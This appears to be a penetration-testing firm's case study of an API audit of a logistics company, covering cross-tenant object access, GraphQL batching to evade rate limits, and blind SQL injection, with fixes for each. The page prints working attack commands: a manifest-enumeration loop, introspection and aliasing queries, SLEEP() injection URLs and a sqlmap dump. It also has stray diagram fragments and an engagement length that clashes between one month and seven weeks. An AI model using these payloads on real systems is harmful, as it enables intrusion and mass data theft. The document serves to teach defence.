API Penetration Testing Eliminating BOLA mass-data exposure, GraphQL introspection-driven rate-limit bypasses, and a blind SQL injection buried in an undocumented legacy logistics endpoint
Project Details
- Client
- TransGlobe is a global freight and last-mile logistics provider moving over 4.2 million parcels per day across 38 countries, operating a complex microservices estate that exposes more than 600 internal and external REST and GraphQL endpoints behind a unified API gateway
- Industry
- Logistics / Supply Chain
- Company Size
- 4,500 - 6,000
- Headquarters
- Rotterdam, Netherlands
- Project Duration
- 1 month (Mar 2026 - Apr 2026)
A comprehensive grey-box API penetration test of a global logistics provider (TransGlobe Logistics) spanning 600+ REST and GraphQL endpoints behind a unified gateway. The engagement uncovered and remediated a mass BOLA/IDOR exposure leaking customer shipment manifests, a GraphQL introspection leak chained with query batching to bypass rate limiting, and a blind boolean/time-based SQL injection in an undocumented legacy tracking endpoint — establishing object-level authorization, schema governance, and cost-aware query limits across the estate.
Engagement Classification · TLP:RED
Project ManifestGuard / API Gateway Audit
Full-scope grey-box API penetration test of a 600+ endpoint logistics microservice estate. 7 weeks, deep REST & GraphQL authorization analysis, and remediation of object-level access control, rate-limiting, and injection vectors at the gateway edge.
When the Gateway Becomes the Whole Attack Surface
Modern logistics does not run on trucks and warehouses alone — it runs on APIs. Every parcel scan, every customs declaration, every last-mile handoff, and every partner integration is an HTTP request traversing a sprawling mesh of microservices. For TransGlobe, the API gateway is not a peripheral component; it is the single most valuable and most exposed asset in the entire organization.
That centralization is a double-edged sword. A unified gateway delivers consistent authentication, observability, and routing — but it also means a single authorization flaw can cascade across 600+ downstream endpoints. When TransGlobe’s SOC began noticing anomalous bulk-read patterns against the customer manifest service — sequential, high-velocity object lookups originating from a single low-privilege partner token — they engaged us for a deep-dive, grey-box assessment of their core API estate. What we found was a textbook demonstration of why the OWASP API Security Top 10 exists as a distinct discipline from the classic web Top 10.
Technical Audit Snapshot
5-Phase API Testing Methodology
To stress-test TransGlobe’s gateway and the services behind it, we ran a structured, five-phase grey-box methodology aligned to the OWASP API Security Testing Guide. We were provided two low-privilege partner credentials and zero documentation for the legacy estate — mirroring exactly what a compromised partner account could achieve.
Endpoint Discovery & Schema Harvesting
Enumerated REST routes from OpenAPI fragments, JS bundles, and mobile traffic captures; harvested the full GraphQL type system via introspection. Surfaced 140+ undocumented and legacy endpoints invisible to the official API catalog.
Authentication & Authorization Mapping
Reconstructed the token model (partner JWT, internal service mTLS, admin scopes) and built an object-ownership matrix — which identity should be able to read or mutate which resource — to systematically hunt for object- and function-level gaps.
Privilege Escalation & BOLA/BFLA Testing
Replayed every read/write across identity boundaries: swapping object IDs (BOLA), invoking admin-only functions with partner tokens (BFLA), and tampering with tenant claims to cross the multi-tenant boundary.
Fuzzing, Injection & Rate-Limit Abuse
Fuzzed parameters for injection sinks, chained GraphQL query batching and aliasing to defeat request-count throttling, and probed legacy tracking endpoints for boolean and time-based blind SQL injection.
Remediation Engineering & Verification
Co-authored object-level authorization middleware, disabled production introspection, deployed cost-based query limits, and parameterized the legacy data layer — then re-ran the full attack suite to confirm closure.
Target Architecture Under Test
TransGlobe routes all external and partner traffic through a single Edge API Gateway that fronts a mesh of domain microservices. The gateway handles coarse authentication (is this token valid?) but historically delegated object-level authorization (can this token read this specific object?) to each downstream service — inconsistently.
JWT + Rate Limit}:::gateway Manifest[Manifest Service
REST]:::logic Track[Tracking Service
GraphQL]:::logic Legacy[Legacy Trace API
Undocumented]:::logic PG[(PostgreSQL
Manifests)]:::datastore Mongo[(MongoDB
Events)]:::datastore MySQL[(Legacy MySQL)]:::datastore Partner --> Gateway Mobile --> Gateway Gateway -.-> Manifest Gateway -.-> Track Gateway -.-> Legacy Manifest --> PG Track --> Mongo Legacy --> MySQL
JWT Auth + Token-Bucket Rate Limit}:::gateway Manifest[Manifest Service
Customer Shipping Ledgers]:::logic Track[Tracking Service
Parcel Event Graph]:::logic Legacy[Legacy Trace API
Undocumented v1 Endpoint]:::logic PG[(PostgreSQL
Manifest Records)]:::datastore Mongo[(MongoDB
Tracking Events)]:::datastore MySQL[(Legacy MySQL 5.6
Raw Trace Logs)]:::datastore Partner --> Gateway Mobile --> Gateway Gateway -.REST.-> Manifest Gateway -.GraphQL.-> Track Gateway -.legacy route.-> Legacy Manifest --> PG Track --> Mongo Legacy --> MySQL
Vulnerability Classification Matrix
Each finding was triaged with CVSS v3.1 and mapped to the OWASP API Security Top 10 (2023) — the framework purpose-built for API-specific risk classes that the generic web Top 10 underweights.
API Endpoint Threat Landscape
Beyond the headline findings, we scored every reachable route on a composite threat index blending authentication strength, object-ownership enforcement, observed request volume, and data sensitivity. The landscape below is the live triage board the TransGlobe platform team now tracks in production.
← Swipe horizontally to view the full landscape →
Critical Finding OC-API-001 — Mass BOLA in the Manifest Service
Broken Object Level Authorization (BOLA) is the number-one risk on the OWASP API Security Top 10 for a reason: it is invisible to scanners, trivial to exploit, and catastrophic at scale. TransGlobe’s GET /v2/manifests/{manifestId} endpoint authenticated the caller’s JWT correctly — but never asked the only question that mattered: does this token’s tenant actually own this manifest?
Because manifestId values were sequential, monotonically-increasing integers, a single low-privilege partner token could walk the entire customer shipping ledger — names, addresses, declared parcel contents, customs values, and commercial counterparties — for every customer of every competitor partner on the platform.
BOLA Exploitation Flow
← Swipe horizontally to view full exploitation flow →
Attack Proof-of-Concept
The enumeration required nothing more sophisticated than a for loop. With 200 concurrent workers and the partner’s own valid token, the full ledger was exfiltrable in under four hours — well within a single maintenance window.
# Single-object proof: read a manifest the partner does NOT own
curl -s -X GET "https://api.transglobe.example/v2/manifests/1872042" \
-H "Authorization: Bearer $PARTNER_JWT" \
-H "Accept: application/json" | jq '{id, customer: .consignee.name, value: .customs.declaredValue}'
# Output (object belongs to a DIFFERENT partner tenant):
# {
# "id": 1872042,
# "customer": "Helvetia Pharma AG",
# "value": "EUR 412,900.00"
# }
# Weaponized enumeration: harvest the entire ledger
seq 100000 2499999 | \
xargs -P 200 -I {} curl -s \
-H "Authorization: Bearer $PARTNER_JWT" \
"https://api.transglobe.example/v2/manifests/{}" \
>> harvested_manifests.jsonl
Root Cause — Authentication ≠ Authorization
The vulnerable handler trusted the gateway’s authentication and resolved the object purely by the path parameter. There was no ownership predicate binding the authenticated tenant to the requested row.
// Resolves object by ID only — no ownership check
app.get('/v2/manifests/:id', authGuard, async (req, res) => {
const manifest = await db.manifest.findUnique({
where: { id: Number(req.params.id) },
});
if (!manifest) return res.status(404).end();
// BOLA: any valid token reads ANY manifest
return res.json(manifest);
});// Enforce tenant ownership at the data-access boundary
app.get('/v2/manifests/:id', authGuard, async (req, res) => {
const tenantId = req.auth.tenantId; // from verified JWT
const manifest = await db.manifest.findFirst({
where: {
id: Number(req.params.id),
tenantId, // ownership predicate
},
});
// 404 (not 403) avoids leaking object existence
if (!manifest) return res.status(404).end();
// Centralized policy assertion as defense-in-depth
assertCanRead(req.auth, manifest);
return res.json(toManifestDTO(manifest, req.auth.scopes));
});Live Request Tamperer
Replay the identical cross-tenant manifest read against both builds. Toggle the intercept tab to send the request through the vulnerable handler versus the ownership-enforcing endpoint — and watch the response diverge.
GET /v2/manifests/1872042 HTTP/1.1
Host: api.transglobe.example
Authorization: Bearer <partner_token_tenant_A>
Accept: application/json
# Object 1872042 belongs to tenant_B{
"id": 1872042,
"tenantId": "tenant_B",
"consignee": { "name": "Helvetia Pharma AG",
"address": "Basel, CH-4051" },
"customs": { "declaredValue": "EUR 412900.00",
"contents": "Temp-controlled APIs" }
}The handler resolves the object by ID alone. Tenant A reads tenant B’s confidential manifest — a single request in a 2.4M-record enumeration.
{
"error": "RESOURCE_NOT_FOUND",
"detail": "No manifest matches the requested id
for the authenticated tenant.",
"policy": "object.ownership.tenant_scope",
"logId": "telemetry-bola-7741c"
}The ownership predicate filters on tenantId, so the row is invisible to tenant A. Returning 404 (not 403) avoids confirming the object exists.
Critical Finding OC-API-002 — GraphQL Introspection Leak + Batching Rate-Limit Bypass
The Tracking Service exposed a GraphQL endpoint at /graphql with introspection enabled in production. Introspection is a developer convenience that lets a client download the entire schema — every type, field, argument, and deprecated mutation. To an attacker, it is a free, perfectly accurate map of the API’s internal data model, including fields the official documentation never mentioned.
Worse, the gateway’s rate limiter throttled by HTTP request count — a fatal mismatch for GraphQL, where a single HTTP request can contain hundreds of operations. By combining query batching (an array of operations in one POST) with field aliasing (the same expensive resolver invoked many times under different alias names), an attacker collapsed thousands of logical queries into a handful of requests that sailed under the per-minute limit.
Step 1 — Harvest the Schema via Introspection
# Pull the full type system — no auth scope required
curl -s -X POST "https://api.transglobe.example/graphql" \
-H "Authorization: Bearer $PARTNER_JWT" \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { types { name fields { name args { name type { name } } } } } }"}' \
| jq '.data.__schema.types[] | select(.name=="Query") | .fields[].name'
# Reveals undocumented, sensitive resolvers:
# "manifestByTrackingId"
# "internalRouteCostBreakdown"
# "partnerSettlementLedger" <-- should never be partner-reachable
Step 2 — Defeat the Rate Limiter with Batching + Aliasing
The naive limiter counted one HTTP POST as one unit of cost. The following single request executes 500 distinct lookups — but counts as exactly one against the quota.
# One HTTP request → 500 aliased resolver invocations
query BatchedHarvest {
q0: manifestByTrackingId(id: "TG-100000") { consignee { name address } customs { declaredValue } }
q1: manifestByTrackingId(id: "TG-100001") { consignee { name address } customs { declaredValue } }
q2: manifestByTrackingId(id: "TG-100002") { consignee { name address } customs { declaredValue } }
# ... aliases q3 … q499 generated programmatically ...
q499: manifestByTrackingId(id: "TG-100499") { consignee { name address } customs { declaredValue } }
}
Combined with the BOLA flaw above, this turned a 2.4M-record harvest from a four-hour loop into a handful of throttle-evading batch requests.
Attack Vector Diagram
counts requests?} RL -->|Yes: counts as 1| Pass[Under quota → forwarded]:::vuln Pass --> Batch[Server expands 500 aliased ops]:::vuln Batch --> Harvest[500 resolver hits per request]:::vuln RL -->|Hardened: cost-based| Cost{Query cost > budget?} Cost -->|Yes| Reject[429 Too Many Points]:::ok Cost -->|No| Allow[Execute within budget]:::ok
The Remediation Block (Before vs After)
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: true, // schema leaked in prod
// no depth / cost limits
// no batch-size cap
});
// Gateway limiter keyed on request COUNT only
rateLimit({ windowMs: 60_000, max: 100 });import depthLimit from 'graphql-depth-limit';
import { createComplexityRule } from 'graphql-query-complexity';
const server = new ApolloServer({
typeDefs,
resolvers,
introspection: process.env.NODE_ENV !== 'production',
validationRules: [
depthLimit(8),
createComplexityRule({
maximumComplexity: 1000, // cost budget
estimators: [fieldCostEstimator],
onComplete: (cost) => meter(cost),
}),
],
// cap operations per batched request
plugins: [batchLimitPlugin({ maxOps: 10 })],
});
// Cost-aware limiter: charge POINTS, not requests
rateLimit({ windowMs: 60_000, max: 5000, cost: queryCost });Critical Finding OC-API-003 — Blind SQL Injection in the Legacy Trace Endpoint
Endpoint discovery surfaced an undocumented v1 endpoint, GET /api/v1/trace, still routed through the gateway and backed by an aging MySQL 5.6 instance. It predated the platform’s ORM migration and built its query by string concatenation. The endpoint returned only a generic 200/500 and never echoed data — but it was injectable, making it a textbook blind SQL injection target exploitable via boolean and time-based inference.
Boolean-Based Inference
A true condition returned the normal 200 payload; a false condition returned an empty result. That binary oracle is enough to extract arbitrary data one bit at a time.
# Baseline — valid reference returns 200 with a trace record
curl -s -o /dev/null -w "%{http_code}\n" \
"https://api.transglobe.example/api/v1/trace?ref=TG-100000" \
-H "Authorization: Bearer $PARTNER_JWT"
# 200
# TRUE condition → 200 (record returned)
curl -s -o /dev/null -w "%{http_code}\n" \
"https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%201=1--%20-" \
-H "Authorization: Bearer $PARTNER_JWT"
# 200
# FALSE condition → 200 but empty body (oracle flips)
curl -s "https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%201=2--%20-" \
-H "Authorization: Bearer $PARTNER_JWT"
# []
Time-Based Confirmation & Extraction
When even the body was identical, a SLEEP() payload turned the database’s response latency into the oracle — confirming injection and enabling full extraction.
# If the first char of the DB version is '5', the response hangs ~5s
curl -s -o /dev/null -w "%{time_total}s\n" \
"https://api.transglobe.example/api/v1/trace?ref=TG-100000'%20AND%20IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--%20-" \
-H "Authorization: Bearer $PARTNER_JWT"
# 5.04s → confirmed
# Automated end-to-end extraction
sqlmap -u "https://api.transglobe.example/api/v1/trace?ref=TG-100000" \
--headers="Authorization: Bearer $PARTNER_JWT" \
--technique=BT --dbms=mysql --batch --threads=8 \
--dump -T users -D legacy_trace
Blind Inference Flow
The Remediation Block (Before vs After)
app.get('/api/v1/trace', legacyAuth, (req, res) => {
const ref = req.query.ref;
// String concatenation → injectable
const sql =
"SELECT * FROM trace_log WHERE ref = '" + ref + "'";
legacyDb.query(sql, (err, rows) => {
if (err) return res.status(500).end();
return res.json(rows);
});
});import { z } from 'zod';
const traceQuery = z.object({
// Strict allow-list format for shipment refs
ref: z.string().regex(/^TG-[0-9]{6,10}$/),
});
app.get('/api/v1/trace', legacyAuth, async (req, res) => {
const { ref } = traceQuery.parse(req.query);
// Parameterized / prepared statement — no concat
const rows = await legacyDb.execute(
'SELECT ref, status, scanned_at FROM trace_log WHERE ref = ?',
[ref],
);
return res.json(rows);
});API Kill Chain Explorer
Step through the full exfiltration chain interactively. Select a stage to light up the attack path and reveal the exact tooling, request, and outcome at that hop — from passive endpoint discovery to a throttle-evading mass-data harvest.
# Mine JS bundles + replay mobile traffic for hidden routes
ffuf -u https://api.transglobe.example/FUZZ -w api-routes.txt -mc 200,401,403
# GraphQL introspection dumps the entire type system
gql-cli https://api.transglobe.example/graphql --introspect > schema.json140+ undocumented and legacy routes surface that never appeared in the official API catalog — including /api/v1/trace and partnerSettlementLedger.
# Decode the partner JWT — scope is coarse, tenant claim trusted downstream
jwt decode $PARTNER_JWT
{ "sub": "partner_A", "tenantId": "tenant_A", "scope": "manifests:read" }
# Gateway authenticates the token but never re-checks object ownershipThe token is valid and low-privilege — exactly the access a compromised partner integration would hold. Authorization is delegated, inconsistently, to each service.
curl -s -H "Authorization: Bearer $PARTNER_JWT" \
https://api.transglobe.example/v2/manifests/1872042
# 200 OK — object owned by tenant_B is returned to tenant_ASequential integer IDs + no ownership predicate = a clean read oracle across every tenant on the platform. Each increment is another competitor’s confidential manifest.
# 500 aliased resolver calls in ONE request — counts as 1 vs the limiter
python3 batch_harvest.py --aliases 500 --range 100000-2499999
>>> 2,400,000 manifests harvested in 47 batched requestsChaining BOLA with GraphQL aliasing collapses a four-hour loop into a handful of requests that never trip the per-minute throttle — the full customer ledger, exfiltrated quietly.
Attack Volume vs Blocked Requests · Remediation Telemetry
Live gateway telemetry across the 7-week engagement. As object-level authorization, cost-based GraphQL limits, and parameterized queries shipped, malicious volume kept climbing — while the share blocked at the edge converged on 100%.
Malicious API Volume vs Edge-Blocked Requests
Weekly counts (thousands) of flagged requests vs requests rejected at the gateway
Side-by-Side Attack Simulator Replay
A real-time replay of the BOLA enumeration payload against TransGlobe’s legacy gateway and the post-engagement hardened build.
Helvetia Pharma AG2,400,000 manifests harvestableEngagement Coverage · OWASP API Security Top 10 (2023)
Every risk class in the OWASP API Security Top 10 was exercised against the estate. The table maps test depth and the exposure delta from pre-audit baseline to the hardened build.
Quantifiable Business Impact
The engagement converted an active, SOC-flagged data-exfiltration risk into a hardened, partner-defensible API program — and, critically, prevented the wholesale theft of TransGlobe’s customer shipping ledger by a competitor.
Strategic Takeaways
Securing a large microservice estate is not about hardening one service — it is about enforcing consistent trust boundaries at the gateway and the data-access layer across every endpoint.
- Authentication is not authorization. A valid token answers “who are you,” never “may you touch this object.” Object-level ownership must be enforced at the data-access boundary on every read and write — BOLA remains the most exploited API flaw precisely because it hides behind a green authentication check.
- GraphQL needs cost, not count. Throttling by HTTP request count is meaningless when one request can carry hundreds of aliased operations. Disable production introspection, cap query depth and batch size, and budget by query complexity points.
- Undocumented does not mean unreachable. The most dangerous endpoint was the one nobody remembered. Continuous endpoint discovery, an authoritative API inventory, and decommissioning of legacy routes are core security controls — parameterize every query and validate every input, no matter how old the service.
Ready to secure your architecture?
Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organization.
System Schema & Architecture
Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.
Hear it straight from TransGlobe Logistics
“"We process millions of shipment manifests daily, and our entire business runs on APIs. When our SOC flagged anomalous bulk-read patterns against our customer manifest service, we needed answers fast. The Antigravity team didn't just confirm the leak — they reconstructed the exact enumeration chain, proved a competitor could have harvested our entire customer shipping ledger, and handed us production-ready object-level authorization middleware. They turned a terrifying blind spot into the most rigorous API security program we've ever run."
Mariëlle Devos
VP of Platform Engineering at TransGlobe Logistics
Mobile Application Penetration Testing
Securing a digital-health flagship (iOS & Android) against insecure PHI storage, SSL-pinning bypass MITM, and hardcoded API keys ahead of a high-profile launch
Cloud Security Review
Eliminating multi-account IAM privilege escalation, exposed Terraform state, and public jump-box exposure across a high-growth AWS serverless estate aligned to the CIS AWS Foundations Benchmark